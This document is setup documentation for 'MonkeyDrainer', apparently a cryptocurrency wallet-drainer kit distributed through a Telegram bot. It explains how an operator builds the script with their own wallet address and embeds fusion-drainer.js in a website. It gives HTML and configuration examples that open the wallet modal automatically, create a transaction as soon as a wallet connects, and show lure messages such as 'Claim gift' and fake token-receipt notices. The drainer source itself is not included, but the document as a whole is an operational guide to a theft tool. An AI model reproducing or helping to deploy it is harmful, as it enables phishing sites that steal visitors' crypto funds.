Integration of MonkeyDrainer on Your Website
Step 1: Building the Library via the Telegram Bot
- Open a chat with the MonkeyDrainer bot in Telegram.
- Click the "⚒️ Build Drainer" button.
- Enter your wallet address and optionally specify a list of allowed domains.
- Receive the library file and the CSS file.
Step 2: Including the Library and Styles
- Download the library file (
fusion-drainer.js
) and the CSS file (fusion-drainer.css
). - Place them in the appropriate directory of your website where other resources like JavaScript and CSS files are stored.
Example of Including the Library and Styles:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>MonkeyDrainer Example</title>
<!-- Link to MonkeyDrainer CSS file -->
<link rel="stylesheet" href="/fusion-drainer.css" />
<!-- Link to MonkeyDrainer JavaScript library -->
<script src="/fusion-drainer.js?v=1.0.0" defer></script>
</head>
<body>
<!-- Your website content -->
</body>
</html>
URL Versioning
The ?v=1.0.0
parameter in the script URL indicates the file version. This is important for caching behavior in browsers and on servers:
- Avoiding Cached Old Versions: When you update the library file, change the version number in the URL (for example, from
?v=1.0.0
to?v=1.1.0
). This forces browsers and servers to load the latest version of the file, bypassing any cached versions.
Example:
- Old Version:
<script src="/fusion-drainer.js?v=1.0.0" defer></script>
- New Version:
<script src="/fusion-drainer.js?v=1.1.0" defer></script>
Step 3: Initializing the Library
The library now supports the following parameters in the configuration object:
autoCreateTransaction
: automatically creates a transaction when the wallet is connected.autoOpenModal
: automatically opens the wallet connection modal when the page loads.honeypotMessage
: the message displayed during the transaction.honeypotAmount
: the amount used for the Honeypot.jettonMessage
: a function that takesamount
andsymbol
parameters and returns a message string when Jettons are received.
Example of Initializing the Library:
<!-- Container for the default wallet connection button -->
<div id="wallet-button-wrapper"></div>
<script>
window.addEventListener('load', () => {
const drainer = window.drainer;
if (drainer) {
// Initialize the library with new options
drainer.init('#wallet-button-wrapper', {
autoCreateTransaction: true, // Automatically create a transaction
autoOpenModal: true, // Automatically open the modal window
honeypotMessage: "🎁 Claim gift", // Message during Honeypot transaction
honeypotAmount: 100, // Set the Honeypot amount
jettonMessage: (amount, symbol) => `🎉 Received ${amount} ${symbol}` // Message when Jettons are received
});
}
});
</script>
Example of Using Custom Buttons
If you want to use custom buttons, hide the default button container with display: none
and add the class wallet-connect-trigger
to your custom buttons.
Example of a custom wallet connection button:
<!-- Hidden container for the default wallet button -->
<div id="wallet-button-wrapper" style="display: none;"></div>
<!-- Custom button for wallet connection -->
<button class="wallet-connect-trigger">Connect Wallet</button>
<script>
window.addEventListener('load', () => {
const drainer = window.drainer;
if (drainer) {
// Initialize the library with custom buttons and settings
drainer.init('#wallet-button-wrapper', {
autoCreateTransaction: false, // Disable automatic transaction creation
autoOpenModal: false, // Disable automatic modal opening
honeypotMessage: "🎁 Claim gift", // Message during Honeypot transaction
honeypotAmount: 50, // Set the Honeypot amount
jettonMessage: (amount, symbol) => `🎉 Received ${amount} ${symbol}` // Message when Jettons are received
});
}
});
</script>
Step 4: Creating a Transaction
If you want to create a transaction manually, you can do so by calling the createTransaction()
method at the appropriate time. Example of a custom button to create a transaction:
<!-- Custom button to create a transaction -->
<button onclick="window.drainer.createTransaction()">Create Transaction</button>
Full Integration Example
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>MonkeyDrainer Example</title>
<!-- Link to MonkeyDrainer CSS file -->
<link rel="stylesheet" href="/fusion-drainer.css" />
<!-- Link to MonkeyDrainer JavaScript library -->
<script src="/fusion-drainer.js?v=1.0.0" defer></script>
</head>
<body>
<!-- Hidden container for the default wallet connection button -->
<div id="wallet-button-wrapper" style="display: none;"></div>
<!-- Custom button for wallet connection -->
<button class="wallet-connect-trigger">Connect Wallet</button>
<!-- Custom button to create a transaction -->
<button onclick="window.drainer.createTransaction()">Create Transaction</button>
<script>
window.addEventListener('load', () => {
const drainer = window.drainer;
if (drainer) {
// Initialize the library with custom buttons and a Honeypot amount
drainer.init('#wallet-button-wrapper', {
autoCreateTransaction: false,
honeypotAmount: 200 // Set the Honeypot amount
});
}
});
</script>
</body>
</html>
Main Library Methods
Initializing the Library
jswindow.drainer.init('#wallet-button-wrapper', options);
#wallet-button-wrapper
— the container for the main wallet connection button.options
— the configuration object (e.g.,{ autoCreateTransaction: true, honeypotAmount: 100 }
).
Manually Creating a Transaction
jswindow.drainer.createTransaction();
Opening the Wallet Connection Modal
jswindow.drainer.openModal();
Updating the Honeypot Amount After Initialization
jswindow.drainer.updateHoneypotAmount(150);
Handling Wallet Connection and Disconnection Events
jswindow.drainer.onWalletConnect(() => { /* Actions when the wallet is connected */ }); window.drainer.onWalletDisconnect(() => { /* Actions when the wallet is disconnected */ });